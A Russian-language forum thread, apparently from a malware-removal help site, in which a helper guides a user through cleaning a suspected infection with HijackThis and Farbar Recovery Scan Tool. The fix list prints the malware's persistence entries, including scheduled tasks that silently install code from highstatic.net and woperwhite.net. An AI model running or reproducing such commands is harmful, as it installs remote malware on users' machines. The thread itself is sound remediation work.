Поймал сильный вирус

[Zaruga]

Поймал вирус, не могу запустить avz, в любом браузере при написании AVZ крашит сразу, название менял, но с другого пользователя работает до определённого момента.
Так же svchost грузит проц на 50% в syswow64, в system32 svchost не грузит.
Avast ничего не показывает, утилита dr.veb тоже.

[Info_bot]

Уважаемый(ая) Zaruga, спасибо за обращение на наш форум!

Помощь в лечении комьютера на VirusInfo.Info оказывается абсолютно бесплатно. Хелперы в самое ближайшее время ответят на Ваш запрос. Для оказания помощи необходимо предоставить логи сканирования утилитой Autologger, подробнее можно прочитать в правилах оформления запроса о помощи.

Информация

Если вы хотите получить персональную гарантированную помощь в приоритетном режиме, то воспользуйтесь платным сервисом Помогите+.

Если наш сайт окажется полезен Вам и у Вас будет такая возможность - пожалуйста поддержите проект.

[Zaruga]

Смог сделать логи на другом пользователе, на нем кстати не грузит svhost, и не крашит программу с браузерами

[Vvvyg]

Запустите HijackThis, расположенный в папке Autologger и пофиксите (в Windows Vista/7/8/10 необходимо запускать через правую кнопку мыши Запуск от имени администратора)):

R0 - HKU\S-1-5-19\Software\Microsoft\Internet Explorer\Main: [Start Page] = http://ovgorskiy.ru
R0 - HKU\S-1-5-20\Software\Microsoft\Internet Explorer\Main: [Start Page] = http://ovgorskiy.ru
O22 - Task: {15F7DF9F-12A2-43E1-9F40-C441F6FFF2BF} - C:\Program Files (x86)\eXGesEYoOEPZ.exe /q /i http://highstatic.net/njmtoomabvuc.ijt
O22 - Task: {533E6197-379C-4284-9927-5D757D374D3C} - C:\Program Files (x86)\Common Files\yaXVUWy.exe /q /i http://woperwhite.net/c4k16dsyq8qq.kta

Скачайте Farbar Recovery Scan Tool и сохраните на Рабочем столе.

Примечание: необходимо выбрать версию, совместимую с Вашей операционной системой. Если Вы не уверены, какая версия подойдет для Вашей системы, скачайте обе и попробуйте запустить. Только одна из них запустится на Вашей системе.
Запустите программу. Когда программа запустится, нажмите Yes для соглашения с предупреждением.

Нажмите кнопку Scan.
После окончания сканирования будут созданы отчеты FRST.txt, Addition.txt в той же папке, откуда была запущена программа.
Прикрепите эти файлы к своему следующему сообщению (лучше оба в одном архиве).

[Zaruga]

Не смог дождаться, восстановил из резервной точки(за 1 день до вируса), пофиксил первые 2 строчки кода, ехе не нашел после восстановления.

[Vvvyg]

Удалите расширение SearchWay в хроме.

Деинсталлируйте один из антивирусов: 360 Total Security или Avast Premier. Нет у вас никаких "сильных вирусов": нельзя использовать 2 антивируса одновременно.